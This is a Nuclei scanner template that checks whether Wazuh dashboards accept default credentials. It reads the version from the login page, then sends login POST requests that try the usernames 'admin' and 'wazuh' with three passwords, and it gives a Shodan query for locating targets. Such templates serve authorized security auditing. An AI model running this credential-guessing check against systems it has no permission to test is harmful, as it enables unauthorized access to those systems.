nuclei-templates/http/default-logins/wazuh-default-login.yaml

72 lines
1.7 KiB
YAML

id: wazuh-default-login
info:
name: Wazuh - Default Login
author: theamanrawat,denandz,PulseSecurity.co.nz
severity: high
description: |
Wazuh contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://documentation.wazuh.com/current/user-manual/user-administration/password-management.html
- https://wazuh.com
- https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html#single-node-deployment
metadata:
verified: true
max-request: 6
shodan-query: title:"Wazuh"
tags: wazuh,default-login
http:
- method: GET
path:
- "{{BaseURL}}/app/login"
extractors:
- type: regex
part: body
name: osd
group: 1
internal: true
regex:
- '"version":"([0-9.]+)"'
- raw:
- |
POST /auth/login HTTP/1.1
Host: {{Hostname}}
Osd-Version: {{osd}}
osd-xsrf: osd-fetch
Content-Type: application/json
{"username":"{{username}}","password":"{{password}}"}
attack: clusterbomb
payloads:
username:
- "admin"
- "wazuh"
password:
- "admin"
- "wazuh"
- "SecretPassword"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"username":'
- '"roles":'
condition: and
- type: word
part: header
words:
- 'application/json'
condition: and
- type: status
status:
- 200